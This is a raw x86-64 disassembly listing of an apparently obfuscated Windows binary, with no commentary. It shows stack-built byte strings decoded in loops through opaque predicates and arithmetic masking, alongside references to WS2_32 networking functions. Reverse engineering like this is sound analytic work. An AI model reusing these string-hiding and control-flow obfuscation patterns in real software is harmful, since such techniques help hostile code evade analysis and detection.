lea edi, [r10 + rcx]
sub dil, 8
movzx eax, byte [rbp + r11 - 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x14004cf63
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004d7a0
movzx r9d, r11b
lea edx, [r9 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004d82e
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004d396
movzx r9d, r11b
lea edx, [r9 - 0x2c]
movzx eax, dl
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004d7ec
movzx r9d, r11b
lea edx, [r9 - 0x10]
movzx eax, dl
and al, r10b
movzx ecx, byte [rbp + r11 - 0x60]
sub cl, al
add cl, 0x38
lea edi, [rcx + rcx]
add dil, dl
add r9b, 0x26
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0xa
add r9b, dil
add r9b, r10b
mov byte [rbp + r11 - 0x60], r9b
add rbx, r8
jmp 0x14004d9a4
movzx r9d, r11b
lea edx, [r9 + 0x5c]
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
sub r9b, 0x6e
movzx eax, r9b
and al, r10b
mov ecx, 1
sub cl, al
add cl, cl
add cl, r9b
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 - 0x60], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x78
add cl, r10b
mov byte [rbp + r11 - 0x60], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 - 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x14004cf63
lea edx, [r11 + 0x3a]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 - 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x14004cf63
lea edx, [r11 - 0x76]
mov ecx, 0x1d
movzx eax, dl
and al, r10b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add rbx, r8
jmp 0x14004d9a4
lea edx, [r11 - 0x4e]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x14004cf63
movzx r9d, r11b
lea edx, [r9 - 0x26]
movzx eax, dl
and al, r10b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14004d945
movzx r9d, r11b
lea ecx, [r9 + 2]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xe
sub r9b, 0x46
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x16
add r9b, r10b
mov byte [rbp + r11 - 0x60], r9b
inc r8
dec r11
inc r11
jmp 0x14004cf63
lea ecx, [r11 + 0x2a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x26
dec r11
inc r11
jmp 0x14004cf63
lea rcx, [r11 + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x4a
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14004cf63
lea rcx, [r11 + r15]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x6e
movzx eax, byte [rbp + r11 - 0x60]
add rax, r8
add r11, rax
inc r11
jmp 0x14004cf63
add r11b, 0xe
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0x62
jmp 0x14004cf60
sub r11b, 0x5e
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0x6e
jmp 0x14004cf50
lea rdx, [rbp + 0x14693e8]
jmp 0x14004da35
lea rdx, [rbp + 0x121681e]
jmp 0x14004da35
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0x2f0]
call fcn.140042a40
nop
mov byte [rsp + 0x40], 0x50
mov byte [rsp + 0x41], select
mov byte [rsp + 0x42], reloc.WS2_32.dll_listen
mov byte [rsp + 0x43], 0x30
mov byte [rsp + 0x44], 0x29
mov byte [rsp + 0x45], 0x29
mov byte [rsp + 0x46], 0x50
mov byte [rsp + 0x47], reloc.WS2_32.dll_sendto
mov byte [rsp + 0x48], 0x19
mov byte [rsp + 0x49], reloc.WS2_32.dll_select
mov byte [rsp + 0x4a], 0x82
xor eax, eax
mov qword [rsp + 0x4b], rax
mov dword [rsp + 0x53], eax
mov word [rsp + 0x57], ax
mov byte [rsp + 0x59], al
movabs r14, 0xe9cfdd3cb3eb8d6c
movabs r15, 0x384ec7225347f8cc
movabs r13, 0x64af0ca8eb70ddf4
movabs r12, 0xbd6f97b61bc2a844
movzx edi, byte [rsp + 0x20]
nop word [rax + rax]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x1a
jae 0x14004e4c5
movzx r9d, byte [rsp + r10 + 0x40]
mov r11, r9
cmp rbx, r10
ja 0x14004e4bc
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14004db12
lea rcx, [r10 + r14]
mov rax, rcx
and rax, r9
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r9
add dil, 0xc
jmp 0x14004db50
je 0x14004e445
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004e3bd
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004e38a
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004e34a
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14004e329
nop dword [rax]
cmp r8, r10
ja 0x14004e4b3
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jae 0x14004db7d
lea ecx, [r10 - 0x24]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 4
jmp 0x14004dbd0
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14004e2e1
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004e2b9
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004e294
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004e278
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14004e259
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14004e22e
nop dword [rax + rax]
lea r11, [r8 + rbx]
cmp r11, r10
jbe 0x14004deab
nop dword [rax]
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14004de99
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x14004de71
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x14004de4c
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14004de29
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004ddff
lea rbx, [r8 + 0x28]
lea r8, [rbx + 0x10]
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14004e493
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14004e473
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14004dd15
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14004dcf6
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14004dcdb
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14004dbe0
lea rbx, [r8 + 0x20]
lea r8, [rbx + 0x2a]
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14004ddd1
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14004ddb2
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14004dd93
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14004dd74
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14004dd53
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14004dd34
lea rbx, [r8 + 1]
lea r8, [rbx + 0x5a]
jmp 0x14004dbe0
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7c
jmp 0x14004dbd0
lea edx, [r10 - 0x34]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004db50
lea edx, [r10 - 0xc]
movzx eax, dl
and al, r9b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004dae3
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x68
movzx r11d, r10b
jmp 0x14004e364
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
add rbx, r8
jmp 0x14004e3a4
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004e3a4
lea edx, [r10 - 0x30]
movzx eax, dl
and al, r9b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004e3db
lea edx, [r10 - 8]
movzx eax, dl
and al, r9b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004e404
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rsp + r10 + 0x40]
add rax, r8
add r10, rax
inc r10
jmp 0x14004dad3
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x18
movzx eax, byte [rsp + r10 + 0x40]
add rax, r8
add r10, rax
inc r10
jmp 0x14004dad3
movzx r11d, r10b
lea edx, [r11 - 0x10]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004e364
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r9b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14004dad3
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x14004dad3
lea edx, [r10 + 0x68]
mov ecx, reloc.WS2_32.dll_sendto
movzx r11d, r10b
jmp 0x14004e2ee
lea rax, [r8 + 0x10]
cmp rbx, rax
jae 0x14004df66
lea edx, [r10 + 0x6c]
movzx eax, r9b
and al, dl
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
cmp r11, 4
je 0x14004e20a
lea rcx, [r8 + 2]
cmp rbx, rcx
jbe 0x14004e01e
lea edx, [r10 - 0x44]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x24
add dil, dl
cmp rbx, 3
jae 0x14004e1e2
lea rax, [r8 + 0x200]
cmp rbx, rax
jbe 0x14004e0f4
lea edx, [r10 - 0x68]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x28
add dil, dl
cmp r8, 0x3e8
jb 0x14004e1d5
movzx r11d, r10b
lea ecx, [r11 + 8]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea edi, [rcx*2 - 0x70]
jmp 0x14004e2ff
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004df9a
lea ecx, [r10 - 0x48]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 8
movzx eax, byte [rsp + r10 + 0x40]
add rax, r8
add r10, rax
inc r10
jmp 0x14004dad3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14004dfc5
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r9b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
add rbx, r8
jmp 0x14004e3a4
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004dff2
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
inc r8
dec r10
inc r10
jmp 0x14004dad3
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14004ded2
movzx r11d, r10b
lea ecx, [r11 + 0x78]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x48
jmp 0x14004e2ff
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004e047
movzx r11d, r10b
lea edx, [r11 - 0x6c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0xc
jmp 0x14004e2fc
cmp rbx, rcx
jne 0x14004e071
lea edx, [r10 + 0x44]
movzx eax, r9b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x14004dad3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14004e099
lea edx, [r10 - 0x34]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004e3a4
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004e0bd
lea ecx, [r10 - 0x5c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7c
jmp 0x14004e3db
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14004df03
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4c
movzx eax, byte [rsp + r10 + 0x40]
add rax, r8
add r10, rax
inc r10
jmp 0x14004dad3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004e128
lea ecx, [r10 + 0x70]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x10
movzx eax, byte [rsp + r10 + 0x40]
add rax, r8
add r10, rax
inc r10
jmp 0x14004dad3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004e150
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004e3db
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004e178
lea edx, [r10 - 8]
movzx eax, dl
and al, r9b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004e3a4
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14004e1a4
movzx r11d, r10b
lea edx, [r11 - 0x58]
movzx eax, dl
and al, r9b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004e364
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14004df37
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
dec r10
inc r10
jmp 0x14004dad3
mov byte [rsp + r10 + 0x40], dil
inc r10
jmp 0x14004dad3
movzx r11d, r10b
lea edx, [r11 - 0x20]
movzx eax, dl
and al, r9b
add al, al
movzx edi, byte [rsp + r10 + 0x40]
sub dil, al
sub dil, 0x20
add dil, dl
add dil, r9b
jmp 0x14004e364
lea edx, [r10 - 0x48]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, byte [rsp + r10 + 0x40]
sub dil, 8
add dil, dl
jmp 0x14004e3db
lea ecx, [r10 + 0x74]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x2c
movzx eax, byte [rsp + r10 + 0x40]
add rax, r8
add r10, rax
inc r10
jmp 0x14004dad3
lea edx, [r10 - 0x3c]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x5c
add dil, dl
jmp 0x14004e3db
lea ecx, [r10 - 0x14]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x74
jmp 0x14004e3a4
lea edx, [r10 + 0x64]
movzx eax, r9b
and al, dl
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x14004dad3
lea edx, [r10 - 0x74]
movzx eax, r9b
and al, dl
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
inc r8
dec r10
inc r10
jmp 0x14004dad3
movzx r11d, r10b
lea edx, [r11 - 0x4c]
mov ecx, 0xa
movzx eax, r9b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
add r11b, 0x74
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x2c
add r11b, r9b
mov byte [rsp + r10 + 0x40], r11b
inc r8
dec r10
inc r10
jmp 0x14004dad3
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4c
dec r10
inc r10
jmp 0x14004dad3
movzx r11d, r10b
lea ecx, [r11 + 0x7c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x64
add r11b, 0x4c
movzx eax, r11b
and al, r9b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0x14
add cl, r11b
add cl, r9b
mov byte [rsp + r10 + 0x40], cl
add rbx, r8
jmp 0x14004e3a4
lea rcx, [r10 + r15]
movzx eax, cl
and al, r11b
mov edx, gethostname
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14004dad3
lea rdx, [r10 + r13]
movzx r9d, r11b
movzx eax, dl
and al, r11b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
lea edx, [r10 + 0x24]
movzx eax, dl
and al, r9b
mov ecx, 2
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
movzx eax, cl
mov byte [rsp + r10 + 0x40], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rsp + r10 + 0x40], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rsp + r10 + 0x40]
add rax, r8
add r10, rax
inc r10
jmp 0x14004dad3
lea rcx, [r10 + r12]
movzx eax, cl
and al, r11b
mov edx, reloc.WS2_32.dll_select
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r11b
movzx eax, byte [rsp + r10 + 0x40]
add rax, r8
add r10, rax
inc r10
jmp 0x14004dad3
add r10b, 0x1c
movzx eax, r9b
and al, r10b
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14004dad0
add r10b, 0x44
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14004dac0
lea rdx, [rbp + 0x14303d0]
jmp 0x14004e4ca
lea rdx, [rbp + 0x16e913c]
jmp 0x14004e4ca
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x2d0]
call fcn.140042a40
nop
mov byte [rbp - 0x10], 0xcd
mov byte [rbp - 0xf], 0xae
mov byte [rbp - 0xe], 0xb6
mov byte [rbp - 0xd], 0xa6
mov byte [rbp - 0xc], 0x50
mov byte [rbp - 0xb], 0x48
mov byte [rbp - 0xa], reloc.WS2_32.dll_recv
mov byte [rbp - 9], 0x4a
mov byte [rbp - 8], 0x58
mov byte [rbp - 7], 0x4c
mov byte [rbp - 6], 0xe2
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 5], xmm0
mov word [rbp + 0xb], ax
movabs r14, 0x88564eb8420e547c
movabs r15, 0xcb08c47a5280f85c
movabs r13, 0xba5c2709ce644f64
movabs r12, 0x9902ec28c62afd74
movzx edi, byte [rsp + 0x20]
nop dword [rax]
call fcn.140004750
mov rbx, qword [rax]
call fcn.140004760
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x1d
jae 0x14004f085
movzx r9d, byte [rbp + r10 - 0x10]
mov r11, r9
cmp rbx, r10
ja 0x14004f07c
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14004e592
lea rcx, [r10 + r14]
mov rax, rcx
and rax, r9
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r9
sub dil, 0x64
jmp 0x14004e5d0
je 0x14004f00c
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004ef88
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004ef55
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14004ef3a
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004eefc
nop dword [rax]
cmp r8, r10
ja 0x14004f073
lea rcx, [r8 + 6]
cmp rbx, rcx
jae 0x14004e5fa
lea ecx, [r10 + 0x2c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x34
jmp 0x14004e640
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14004eeb4
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004ee8f
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14004ee70
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004ee52
cmp rbx, rcx
je 0x14004ee33
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14004eb8f
nop dword [rax]
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14004eb7d
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14004eb55
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14004eb30
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004eb11
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14004eaf3
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14004ead4
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14004eab5
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004ea9a
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14004ea70
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14004e650
lea rbx, [r8 + 0x42]
lea r8, [rbx + 6]
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14004f056
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14004f036
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14004e83e
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14004e81f
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14004e804
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14004ea2e
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14004e9e5
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14004e99e
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14004e97b
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14004e650
lea rbx, [r8 + 0x1000]
lea r8, [rbx + 0x28]
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14004e951
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14004e936
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14004e917
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14004e8f8
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14004e8d7
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14004e8b8
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14004e897
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14004e86f
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14004e85d
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14004e650
lea rbx, [r8 + 1]
lea r8, [rbx + 2]
jmp 0x14004e650
lea ecx, [r10 + 0x54]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4c
jmp 0x14004e640
lea edx, [r10 + 0x5c]
movzx eax, dl
and al, r9b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004e5d0
lea edx, [r10 + 0x64]
movzx eax, dl
and al, r9b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004e563
lea edx, [r10 + 0x60]
mov ecx, 0x30
movzx r11d, r10b
jmp 0x14004eec1
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x14004e553
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x10
dec r10
inc r10
jmp 0x14004e553
lea ecx, [r10 + 0x78]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x48
movzx r11d, r10b
jmp 0x14004ef16
lea ecx, [r10 + 0x80]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x80
add rbx, r8
jmp 0x14004ef6f
lea edx, [r10 - 0x78]
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004ef6f
lea edx, [r10 - 0x70]
movzx eax, dl
and al, r9b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004efa6
lea ecx, [r10 - 0x68]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x28
jmp 0x14004efcf
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
movzx eax, byte [rbp + r10 - 0x10]
add rax, r8
add r10, rax
inc r10
jmp 0x14004e553
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6c
mov byte [rbp + r10 - 0x10], dil
inc r10
jmp 0x14004e553
lea edx, [r10 + 0x3c]
movzx eax, dl
and al, r9b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp r8, 0x1000
jb 0x14004e991
movzx r11d, r10b
lea ecx, [r11 + 0x68]
movzx eax, cl
and al, r9b
mov edx, reloc.WS2_32.dll_sendto
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x14004eed2
lea edx, [r10 + 0x44]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp rbx, 0x42
jae 0x14004edef
lea rax, [r8 + 0x64]
cmp rbx, rax
jbe 0x14004ed33
lea ecx, [r10 - 0x48]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 8
jmp 0x14004e9b8
lea ecx, [r10 + 0x4c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x14
lea rax, [r8 + rbx]
cmp rax, 9
je 0x14004ee13
lea rax, [r8 + 0x2a]
cmp rbx, rax
jbe 0x14004ec63
lea edx, [r10 - 0x74]
movzx eax, dl
and al, r9b
mov ecx, socket
jmp 0x14004e9f4
lea ecx, [r10 + 8]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x38
movzx eax, byte [rbp + r10 - 0x10]
add rax, r8
add r10, rax
inc r10
jmp 0x14004e553
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x70
jmp 0x14004efcf
lea edx, [r10 + 0x18]
movzx eax, dl
and al, r9b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004efa6
lea edx, [r10 + 0x20]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004ef6f
lea ecx, [r10 + 0x28]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x18
add rbx, r8
jmp 0x14004ef6f
movzx r11d, r10b
lea ecx, [r11 + 0x30]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x50
jmp 0x14004ef16
lea edx, [r10 + 0x38]
movzx eax, dl
and al, r9b
mov ecx, 0x3c
sub cl, al
